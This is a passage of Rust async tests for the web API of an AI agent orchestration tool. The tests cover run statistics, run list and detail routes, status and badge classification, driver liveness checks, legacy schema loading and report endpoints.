18505 let f = Fixture::start().await;
18506 let stats = f.get("/api/stats").await;
18507 assert_eq!(stats.status, 200);
18508 assert_eq!(stats.json()["totals"]["runs"], 0);
18509 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18510 assert_eq!(stats.json()["runs_unreadable"], 0);
18511 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18512 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18513 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18514 assert_eq!(stats.json()["repo"], Value::Null);
18515 }
18516
18517 #[tokio::test]
18518 async fn stats_lists_every_repository_with_runs_recorded() {
18519 let f = Fixture::start().await;
18520 write_run_repo(
18521 &f.runs(),
18522 "20260902-140501-a",
18523 RunStatus::Merged,
18524 "/repos/a",
18525 );
18526 write_run_repo(
18527 &f.runs(),
18528 "20260902-140502-b",
18529 RunStatus::Merged,
18530 "/repos/a",
18531 );
18532 write_run_repo(
18533 &f.runs(),
18534 "20260902-140503-c",
18535 RunStatus::Blocked,
18536 "/repos/b",
18537 );
18538
18539 let stats = f.get("/api/stats").await;
18540 assert_eq!(stats.status, 200);
18541 assert_eq!(stats.json()["totals"]["runs"], 3);
18543 assert_eq!(stats.json()["repo"], Value::Null);
18544
18545 let repos = stats.json()["repos"].clone();
18546 let repos = repos.as_array().unwrap();
18547 assert_eq!(repos.len(), 2);
18548 assert_eq!(repos[0]["repo"], "/repos/a");
18550 assert_eq!(repos[0]["name"], "a");
18551 assert_eq!(repos[0]["runs"], 2);
18552 assert_eq!(repos[1]["repo"], "/repos/b");
18553 assert_eq!(repos[1]["runs"], 1);
18554 }
18555
18556 #[tokio::test]
18557 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18558 let f = Fixture::start().await;
18559 write_run_repo(
18560 &f.runs(),
18561 "20260902-140501-a",
18562 RunStatus::Merged,
18563 "/repos/a",
18564 );
18565 write_run_repo(
18566 &f.runs(),
18567 "20260902-140502-b",
18568 RunStatus::Blocked,
18569 "/repos/b",
18570 );
18571
18572 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18573 assert_eq!(stats.status, 200);
18574 assert_eq!(stats.json()["totals"]["runs"], 1);
18575 assert_eq!(stats.json()["totals"]["merged"], 1);
18576 assert_eq!(stats.json()["repo"], "/repos/a");
18577 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18580 assert_eq!(stats.json()["runs_unreadable"], 0);
18583 }
18584
18585 #[tokio::test]
18586 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18587 let f = Fixture::start().await;
18588 write_run_repo(
18589 &f.runs(),
18590 "20260902-140501-a",
18591 RunStatus::Merged,
18592 "/repos/a",
18593 );
18594 write_run_repo(
18595 &f.runs(),
18596 "20260902-140502-b",
18597 RunStatus::Merged,
18598 "/repos/b",
18599 );
18600
18601 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18602 let json = f.get(uri).await.json();
18603 let daily = json["daily"].as_array().expect("daily is an array");
18604 assert_eq!(daily.len(), 30);
18605 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18606 let mut sorted = dates.clone();
18607 sorted.sort();
18608 assert_eq!(dates, sorted);
18609 for d in daily {
18610 assert_eq!(
18611 d["merged"].as_u64().unwrap()
18612 + d["ready"].as_u64().unwrap()
18613 + d["other"].as_u64().unwrap(),
18614 d["runs"].as_u64().unwrap()
18615 );
18616 }
18617 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18618 }
18619 }
18620
18621 #[tokio::test]
18622 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18623 let f = Fixture::start().await;
18624 write_run_repo(
18625 &f.runs(),
18626 "20260902-140501-a",
18627 RunStatus::Merged,
18628 "/repos/a",
18629 );
18630
18631 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18632 assert_eq!(stats.status, 404);
18633 }
18634
18635 #[tokio::test]
18636 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18637 let f = Fixture::start().await;
18638 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18639
18640 let summary = f.get("/api/runs").await.json();
18641 let row = &summary[0];
18642 assert_eq!(row["short"], "a1b2");
18643 assert_eq!(row["status"], "ready");
18644 assert_eq!(row["done"], true);
18645 assert_eq!(row["title"], "Add a web UI");
18646 assert_eq!(row["repo_name"], "magi");
18647 assert_eq!(row["judges"], 3);
18648 assert_eq!(row["winner"], Value::Null);
18649 assert_eq!(row["reviews"], 0);
18650
18651 let detail = f.get("/api/runs/a1b2").await;
18654 assert_eq!(detail.status, 200);
18655 assert_eq!(detail.json()["base_branch"], "main");
18656 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18657 }
18658
18659 #[tokio::test]
18667 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18668 let f = Fixture::start().await;
18669
18670 let mut none_run = RunState::new(
18671 PathBuf::from("/repo/magi"),
18672 "main".to_owned(),
18673 "0123456789abcdef".to_owned(),
18674 "Add a web UI".to_owned(),
18675 Config::default(),
18676 );
18677 none_run.id = "20260902-140503-none".to_owned();
18678 none_run.status = RunStatus::Ready;
18679 none_run.merge = Some(crate::run::MergeOutcome {
18680 mode: crate::config::MergeMode::None,
18681 ok: true,
18682 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18683 empty: false,
18684 });
18685 write_state(&f.runs(), &none_run);
18686
18687 let mut pr_run = RunState::new(
18688 PathBuf::from("/repo/magi"),
18689 "main".to_owned(),
18690 "0123456789abcdef".to_owned(),
18691 "Add a web UI".to_owned(),
18692 Config::default(),
18693 );
18694 pr_run.id = "20260902-140504-prcl".to_owned();
18695 pr_run.status = RunStatus::Ready;
18696 pr_run.merge = Some(crate::run::MergeOutcome {
18697 mode: crate::config::MergeMode::Pr,
18698 ok: false,
18699 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18700 empty: false,
18701 });
18702 write_state(&f.runs(), &pr_run);
18703
18704 let summary = f.get("/api/runs").await.json();
18705 let rows: std::collections::HashMap<&str, &Value> = summary
18706 .as_array()
18707 .expect("an array")
18708 .iter()
18709 .map(|r| (r["id"].as_str().expect("an id"), r))
18710 .collect();
18711 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18712 assert_eq!(
18713 rows[none_run.id.as_str()]["unmerged_by_design"],
18714 true,
18715 "a mode-none Ready must be flagged in the list"
18716 );
18717 assert_eq!(
18718 rows[pr_run.id.as_str()]["unmerged_by_design"],
18719 false,
18720 "a Ready reached by a closed pull request is a different case"
18721 );
18722
18723 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18724 assert_eq!(none_detail["status"], "ready");
18725 assert_eq!(none_detail["unmerged_by_design"], true);
18726
18727 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18728 assert_eq!(pr_detail["unmerged_by_design"], false);
18729 }
18730
18731 #[tokio::test]
18736 async fn run_core_survives_unavailable_related_stores() {
18737 let home = TempDir::new().unwrap();
18738 let ui = delta_test_ui(home.path());
18739 let state = RunState::new(
18740 PathBuf::from("/repo/magi"),
18741 "main".into(),
18742 "0123456789abcdef".into(),
18743 "Useful core instructions".into(),
18744 Config::default(),
18745 );
18746 let dir = ui.runs.join(&state.id);
18747 std::fs::create_dir_all(&dir).unwrap();
18748 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18749 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18750 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18751 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18752 .await
18753 .unwrap()
18754 .0;
18755 assert_eq!(core.state.instruction, state.instruction);
18756 assert_eq!(core.state.updated_at, state.updated_at);
18757 assert!(core.task.is_none());
18758 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18759 }
18760
18761 #[tokio::test]
18762 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18763 let f = Fixture::start().await;
18764 let id = "20260902-140502-bbbb";
18768 let mut state = RunState::new(
18769 PathBuf::from("/repo/magi"),
18770 "main".to_owned(),
18771 "0123456789abcdef".to_owned(),
18772 "Add a web UI".to_owned(),
18773 Config::default(),
18774 );
18775 state.id = id.to_owned();
18776 state.status = RunStatus::Judging;
18777 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18778 let dir = f.runs().join(id);
18779 std::fs::create_dir_all(&dir).expect("run dir");
18780 std::fs::write(
18781 dir.join("run.json"),
18782 serde_json::to_string_pretty(&state).expect("serialize run"),
18783 )
18784 .expect("write run.json");
18785
18786 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18792 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18793 assert_eq!(cold["live"], "unknown", "{cold}");
18794
18795 write_daemon(f.home.path(), Timestamp::now());
18798 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18799 assert_eq!(warm["live"], "live", "{warm}");
18800 }
18801
18802 #[test]
18803 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18804 let home = tempfile::tempdir().expect("temp home");
18805 let runs = home.path().join("runs");
18806 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18807 let mut state = RunState::new(
18808 PathBuf::from("/repo/magi"),
18809 "main".to_owned(),
18810 "0123456789abcdef".to_owned(),
18811 "Generated review context, not authored task criteria".to_owned(),
18812 Config::default(),
18813 );
18814 state.origin = origin;
18815 state.status = RunStatus::Blocked;
18816 state.driver_exited = false;
18818 state.gate_ran = true;
18819 let expected = serde_json::to_value(&state).expect("serialize current state");
18820 let mut legacy = expected.clone();
18821 legacy["schema"] = serde_json::json!(13);
18822 legacy.as_object_mut().unwrap().remove("task_instruction");
18823 let dir = runs.join(&state.id);
18824 std::fs::create_dir_all(&dir).expect("run dir");
18825 let path = dir.join("run.json");
18826 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18827 std::fs::write(&path, &body).expect("write legacy run");
18828
18829 for loaded in [
18830 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18831 read_run(&runs, &state.id).expect("web migration"),
18832 ] {
18833 assert_eq!(loaded.schema, crate::run::SCHEMA);
18834 assert!(loaded.task_instruction.is_none());
18835 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18836 }
18837 assert_eq!(runs_unreadable(&runs), 0);
18838 assert_eq!(std::fs::read(&path).unwrap(), body);
18839 }
18840 }
18841
18842 #[tokio::test]
18845 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18846 let f = Fixture::start().await;
18847 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18848 let mut state = RunState::new(
18849 PathBuf::from("/repo/magi"),
18850 "main".to_owned(),
18851 "0123456789abcdef".to_owned(),
18852 "Add a web UI".to_owned(),
18853 Config::default(),
18854 );
18855 state.id = id.to_owned();
18856 state.origin = origin;
18857 let mut value = serde_json::to_value(&state).expect("serialize run");
18858 if let Some(schema) = schema {
18859 value["schema"] = serde_json::json!(schema);
18860 value.as_object_mut().unwrap().remove("origin");
18861 }
18862 let dir = f.runs().join(id);
18863 std::fs::create_dir_all(&dir).expect("run dir");
18864 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18865 };
18866 write(
18867 "20260930-092817-ec34",
18868 Some(crate::run::Origin::from_agent_env(
18869 Some(("4a7b".to_owned(), "chat".to_owned())),
18870 None,
18871 )),
18872 None,
18873 );
18874 write("20260930-092817-0ld1", None, Some(12));
18875
18876 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18877 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18878 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18879
18880 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18881 assert_eq!(
18882 old["origin_label"], "origin unknown (started before origins were recorded)",
18883 "{old}"
18884 );
18885 assert!(old["origin"].is_null(), "{old}");
18886
18887 let list = f.get("/api/runs").await.json();
18888 let labels: Vec<_> = list
18889 .as_array()
18890 .unwrap()
18891 .iter()
18892 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18893 .collect();
18894 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18895 }
18896
18897 #[tokio::test]
18904 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18905 let f = Fixture::start().await;
18906 let id = "20260922-090000-cccc";
18907 let mut state = RunState::new(
18908 PathBuf::from("/repo/magi"),
18909 "main".to_owned(),
18910 "0123456789abcdef".to_owned(),
18911 "Review only".to_owned(),
18912 Config::default(),
18913 );
18914 state.id = id.to_owned();
18915 state.status = RunStatus::Reviewing;
18916 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18917 state.driver_pid = Some(std::process::id());
18923 state.driver_started_at = Some(
18924 crate::proc::process_started_at(std::process::id())
18925 .expect("this test process's own start time must be queryable"),
18926 );
18927 let dir = f.runs().join(id);
18928 std::fs::create_dir_all(&dir).expect("run dir");
18929 std::fs::write(
18930 dir.join("run.json"),
18931 serde_json::to_string_pretty(&state).expect("serialize run"),
18932 )
18933 .expect("write run.json");
18934
18935 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18936 assert_eq!(detail["live"], "live", "{detail}");
18937 }
18938
18939 #[tokio::test]
18945 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18946 let f = Fixture::start().await;
18947 let id = "20260922-090100-dddd";
18948 let mut state = RunState::new(
18949 PathBuf::from("/repo/magi"),
18950 "main".to_owned(),
18951 "0123456789abcdef".to_owned(),
18952 "Review only".to_owned(),
18953 Config::default(),
18954 );
18955 state.id = id.to_owned();
18956 state.status = RunStatus::Reviewing;
18957 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18958 state.driver_pid = Some(std::process::id());
18963 state.driver_started_at = Some("1".to_owned());
18964 let dir = f.runs().join(id);
18965 std::fs::create_dir_all(&dir).expect("run dir");
18966 std::fs::write(
18967 dir.join("run.json"),
18968 serde_json::to_string_pretty(&state).expect("serialize run"),
18969 )
18970 .expect("write run.json");
18971
18972 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18973 assert_eq!(detail["live"], "dead", "{detail}");
18974 }
18975
18976 #[test]
18980 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18981 let mk = |id: &str, pid: Option<u32>| {
18982 let mut s = RunState::new(
18983 PathBuf::from("/repo/magi"),
18984 "main".to_owned(),
18985 "0123456789abcdef".to_owned(),
18986 "Add a web UI".to_owned(),
18987 Config::default(),
18988 );
18989 s.id = id.to_owned();
18990 s.driver_pid = pid;
18991 s.driver_started_at = Some("1790000000".to_owned());
18992 s
18993 };
18994 let states = vec![
18995 mk("20260902-140502-aaaa", Some(77)),
18996 mk("20260902-140502-bbbb", Some(77)),
18997 mk("20260902-140502-cccc", Some(77)),
18998 mk("20260902-140502-dddd", None),
18999 ];
19000 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19001 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19002 let sup: HashMap<String, String> = [(
19003 "20260902-140502-aaaa".to_owned(),
19004 "20260902-140502-cccc".to_owned(),
19005 )]
19006 .into();
19007
19008 let status_calls = std::cell::Cell::new(0);
19009 let identity_calls = std::cell::Cell::new(0);
19010 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19011 |_| {
19012 status_calls.set(status_calls.get() + 1);
19013 Some(true)
19014 },
19015 |_| {
19016 identity_calls.set(identity_calls.get() + 1);
19017 Some("1790000000".to_owned())
19018 },
19019 ));
19020 let rows = summarize(
19021 states,
19022 &open,
19023 &claimed,
19024 &sup,
19025 |p| probe.borrow_mut().status(p),
19026 |p| probe.borrow_mut().started_at(p),
19027 );
19028
19029 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19030 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19031 assert_eq!(rows.len(), 4);
19032 assert!(!rows[0].waiting && rows[1].waiting);
19033 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19034 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19035 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19036 assert_eq!(rows[1].superseded_by, None);
19037 }
19038
19039 #[test]
19040 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19041 let mut state = RunState::new(
19042 PathBuf::from("/repo/magi"),
19043 "main".to_owned(),
19044 "0123456789abcdef".to_owned(),
19045 "Review only".to_owned(),
19046 Config::default(),
19047 );
19048 state.id = "20260922-090200-dead".to_owned();
19049 state.status = RunStatus::Reviewing;
19050 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19051 .expect("serialize list row");
19052 assert_eq!(row["status"], "reviewing");
19053 assert_eq!(row["display_status"], "stale");
19054 assert_eq!(row["live"], "dead", "{row}");
19055 assert!(!row["done"].as_bool().unwrap());
19056 }
19057
19058 #[test]
19059 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19060 use crate::run::Liveness::{Dead, Live, Unknown};
19061 let mut state = RunState::new(
19062 PathBuf::from("/repo/magi"),
19063 "main".to_owned(),
19064 "abc".to_owned(),
19065 "Review only".to_owned(),
19066 Config::default(),
19067 );
19068 for (status, parked, node, waiting, live, expected) in [
19069 (
19070 RunStatus::Judging,
19071 true,
19072 "github-text",
19073 false,
19074 Dead,
19075 "parked",
19076 ),
19077 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19078 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19079 (
19080 RunStatus::Judging,
19081 true,
19082 "github-text",
19083 true,
19084 Dead,
19085 "waiting",
19086 ),
19087 (
19088 RunStatus::Judging,
19089 false,
19090 "github-text",
19091 true,
19092 Dead,
19093 "waiting",
19094 ),
19095 (
19096 RunStatus::Judging,
19097 false,
19098 "github-text",
19099 false,
19100 Dead,
19101 "stale",
19102 ),
19103 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19104 (RunStatus::Judging, true, "park", false, Live, "judging"),
19105 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19106 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19107 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19108 (
19109 RunStatus::Blocked,
19110 true,
19111 "github-text",
19112 true,
19113 Dead,
19114 "waiting",
19115 ),
19116 ] {
19117 state.status = status;
19118 state.parked = parked;
19119 state.events.clear();
19120 state.event(
19121 "park",
19122 "an earlier park does not determine the latest state",
19123 );
19124 state.event(node, "message is not used for classification");
19125 let summary = RunSummary::of(&state, waiting, live);
19126 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19127 assert_eq!(
19128 summary.display_status, expected,
19129 "{status:?}/{node}/{live:?}"
19130 );
19131 assert_eq!(detail.display_status, summary.display_status);
19132 assert_eq!(detail.waiting, summary.waiting);
19133 }
19134 state.status = RunStatus::Judging;
19135 state.parked = false;
19136 state.events.clear();
19137 assert_eq!(run_display_status(&state, false, Dead), "stale");
19138 }
19139
19140 #[test]
19141 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19142 use crate::run::Liveness::{Dead, Live, Unknown};
19143 let mut state = RunState::new(
19144 PathBuf::from("/repo/magi"),
19145 "main".to_owned(),
19146 "abc".to_owned(),
19147 "Badge".to_owned(),
19148 Config::default(),
19149 );
19150 for (status, waiting, live, superseded, expected) in [
19151 (RunStatus::Gating, false, Dead, false, "stale"),
19152 (RunStatus::Gating, false, Dead, true, "superseded"),
19153 (RunStatus::Gating, false, Unknown, true, "superseded"),
19154 (RunStatus::Gating, true, Dead, true, "superseded"),
19155 (RunStatus::Gating, true, Dead, false, "waiting"),
19156 (RunStatus::Gating, false, Unknown, false, "gating"),
19157 (RunStatus::Gating, false, Live, true, "gating"),
19158 (RunStatus::Gating, true, Live, true, "waiting"),
19159 (RunStatus::Merged, false, Dead, true, "merged"),
19160 (RunStatus::Blocked, false, Dead, true, "blocked"),
19161 ] {
19162 state.status = status;
19163 let display = run_display_status(&state, waiting, live);
19164 assert_eq!(
19165 run_badge_status(&state, &display, live, superseded),
19166 expected,
19167 "{status:?}/{live:?}/superseded={superseded}"
19168 );
19169 }
19170 }
19171
19172 #[test]
19173 fn summarize_and_detail_expose_badge_status() {
19174 use crate::run::Liveness::Dead;
19175 let mut state = RunState::new(
19176 PathBuf::from("/repo/magi"),
19177 "main".to_owned(),
19178 "abc".to_owned(),
19179 "Badge".to_owned(),
19180 Config::default(),
19181 );
19182 state.status = RunStatus::Gating;
19183 let none = HashSet::new();
19184 let id = state.id.clone();
19185 let mut by = HashMap::new();
19186 let rows = summarize(
19187 [state.clone()],
19188 &none,
19189 &none,
19190 &by,
19191 |_| Some(false),
19192 |_| None,
19193 );
19194 assert_eq!(rows[0].badge_status, rows[0].display_status);
19196 by.insert(id, "20260901-000000-913b".to_owned());
19197 let detail = RunDetailView::of(
19198 state.clone(),
19199 false,
19200 Dead,
19201 Some("913b".to_owned()),
19202 None,
19203 None,
19204 );
19205 assert_eq!(detail.badge_status, "superseded");
19206 let json = serde_json::to_value(&detail).unwrap();
19207 assert_eq!(json["badge_status"], "superseded");
19208 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19209 assert_eq!(detail.badge_status, "stale");
19210 }
19211
19212 #[tokio::test]
19213 async fn run_display_status_routes_share_the_open_question_store() {
19214 let f = Fixture::start().await;
19215 let id = "20260922-090200-abcd";
19216 write_run(&f.runs(), id, RunStatus::Judging);
19217 let mut state = read_run(&f.runs(), id).unwrap();
19218 state.parked = true;
19219 state.driver_exited = true;
19220 state.event("github-text", "waiting for the owner");
19221 state.save_under(f.home.path()).unwrap();
19222 let mut task = Task::new(
19223 "resumed task".to_owned(),
19224 "do it".to_owned(),
19225 PathBuf::from("/repo"),
19226 Source::Human,
19227 );
19228 task.runs = vec![id.to_owned(), id.to_owned()];
19229 f.queue().put(&mut task).unwrap();
19230 let store = f.questions();
19231 let mut q = Question::new(
19232 id.to_owned(),
19233 "github-text".to_owned(),
19234 "owner".to_owned(),
19235 "Approve the text?".to_owned(),
19236 String::new(),
19237 Vec::new(),
19238 );
19239 store.put(&mut q).unwrap();
19240 for expected in ["waiting", "parked"] {
19241 let list = f.get("/api/runs").await.json();
19242 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19243 assert_eq!(list[0]["display_status"], expected);
19244 assert_eq!(detail["display_status"], expected);
19245 assert_eq!(detail["waiting"], list[0]["waiting"]);
19246 assert_eq!(list[0]["badge_status"], expected);
19247 assert_eq!(detail["badge_status"], expected);
19248 assert!(list[0]["superseded_by"].is_null());
19249 assert!(detail["superseded_by"].is_null());
19250 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19251 let history = task_detail["history"].as_array().unwrap();
19252 assert_eq!(history.len(), 2);
19253 assert!(history[0]["badge"].is_null());
19254 assert_eq!(history[1]["badge"], expected);
19255 q.status = ask::QuestionStatus::Answered;
19256 store.put(&mut q).unwrap();
19257 }
19258 }
19259
19260 #[tokio::test]
19261 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19262 let f = Fixture::start().await;
19263 let id = "20260922-090200-abcd";
19264 write_run(&f.runs(), id, RunStatus::Judging);
19265 let mut state = read_run(&f.runs(), id).unwrap();
19266 state.parked = true;
19267 state.driver_exited = true;
19268 state.event("park", "stopped at a node boundary");
19269 state.save_under(f.home.path()).unwrap();
19270
19271 for expected in ["parked", "stale"] {
19272 let list = f.get("/api/runs").await.json();
19273 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19274 assert_eq!(list[0]["live"], "dead");
19275 assert_eq!(list[0]["display_status"], expected);
19276 assert_eq!(detail["display_status"], expected);
19277 state.parked = false;
19280 state.save_under(f.home.path()).unwrap();
19281 }
19282 }
19283
19284 #[tokio::test]
19285 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19286 let f = Fixture::start().await;
19287 for id in [
19288 "20260902-140501-aaaa",
19289 "20260902-140502-bbbb",
19290 "20260902-140503-cccc",
19291 ] {
19292 write_run(&f.runs(), id, RunStatus::Merged);
19293 }
19294
19295 let all = f.get("/api/runs").await.json();
19296 let capped = f.get("/api/runs?limit=2").await.json();
19297
19298 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19299 assert_eq!(all.as_array().map(Vec::len), Some(3));
19300 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19301 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19302 }
19303
19304 #[tokio::test]
19305 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19306 let f = Fixture::start().await;
19307 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19308
19309 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19310
19311 assert_eq!(res.status, 200);
19312 assert!(
19313 res.headers
19314 .contains("content-type: text/plain; charset=utf-8"),
19315 "a browser must render it, not download it: {}",
19316 res.headers
19317 );
19318 assert!(
19322 res.body.contains("20260902-140501-a1b2"),
19323 "the report is about the run that was asked for: {}",
19324 res.body
19325 );
19326 }
19327
19328 #[tokio::test]
19329 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19330 crate::run::pin_test_home();
19332 let f = Fixture::start().await;
19333 let id = "20260902-140501-a1b2";
19334 write_run(&f.runs(), id, RunStatus::Stalled);
19335 let path = f.runs().join(id).join("run.json");
19338 let mut v: serde_json::Value =
19339 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19340 v["tally"] = serde_json::json!({
19341 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19342 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19343 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19344 "met_quorum": false, "rankings": 1
19345 });
19346 v["reviews"] = serde_json::json!([{
19347 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19348 "e2e_deferred": true,
19349 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19350 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19351 ]}]
19352 }]);
19353 std::fs::write(&path, v.to_string()).unwrap();
19354 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19355 std::fs::write(
19356 f.runs().join("20260902-140502-dead").join("run.json"),
19357 "{not json",
19358 )
19359 .unwrap();
19360
19361 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19362
19363 assert_eq!(res.status, 200, "{}", res.body);
19364 assert!(res.headers.contains("content-type: application/json"));
19365 let j = res.json();
19366 assert_eq!(j["schema"], 1);
19367 assert_eq!(j["header"]["id"], id);
19368 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19369 let kinds: Vec<&str> = j["sections"]
19370 .as_array()
19371 .unwrap()
19372 .iter()
19373 .map(|s| s["kind"].as_str().unwrap())
19374 .collect();
19375 assert_eq!(kinds, ["candidates", "tally", "review"]);
19376 let tally = &j["sections"][1]["tally"];
19377 assert_eq!(
19378 (tally["decided"].clone(), tally["provisional"].clone()),
19379 (false.into(), true.into())
19380 );
19381 let round = &j["sections"][2]["rounds"][0];
19382 assert_eq!(round["e2e"]["state"], "deferred");
19383 assert_eq!(round["findings"][0]["severity"], "major");
19384 assert_eq!(round["findings"][0]["blocking"], true);
19385 assert_eq!(round["findings"][0]["state"], "open");
19386
19387 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19389
19390 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19392 assert_ne!(bad.status, 200, "{}", bad.body);
19393 assert_eq!(
19394 bad.status,
19395 f.get("/api/runs/20260902-140502-dead/report").await.status
19396 );
19397 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19398 assert_eq!(
19399 f.get("/api/runs/20260902-999999-ffff/report.json")
19400 .await
19401 .status,
19402 404
19403 );
19404 }
19405
19406 #[tokio::test]
19407 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19408 crate::run::pin_test_home();
19409 let f = Fixture::start().await;
19410 let id = "20260902-140503-delib";
19411 write_run(&f.runs(), id, RunStatus::Merged);
19412 let path = f.runs().join(id).join("run.json");
19413 let mut v: serde_json::Value =
19414 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19415 v["judgements"] = serde_json::json!([
19416 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19417 ]);
19418 v["tally"] = serde_json::json!({
19419 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19420 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19421 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19422 "met_quorum": true, "rankings": 1
19423 });
19424 v["deliberation"] = serde_json::json!([
19425 {
19426 "round": 1,
19427 "turns": [
19428 {
19429 "judge": 1,
19430 "agent": "judge-1",
19431 "body": "I prefer candidate **A** because it has cleaner tests.",
19432 "tentative": "A"
19433 }
19434 ]
19435 },
19436 {
19437 "round": 2,
19438 "turns": [
19439 {
19440 "judge": 1,
19441 "agent": "judge-1",
19442 "body": "Still thinking, no choice yet.",
19443 "tentative": null
19444 }
19445 ]
19446 }
19447 ]);
19448 std::fs::write(&path, v.to_string()).unwrap();
19449
19450 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19451 assert_eq!(res.status, 200, "{}", res.body);
19452 let j = res.json();
19453 let judging = j["sections"]
19454 .as_array()
19455 .unwrap()
19456 .iter()
19457 .find(|s| s["kind"] == "judging")
19458 .expect("judging section exists");
19459
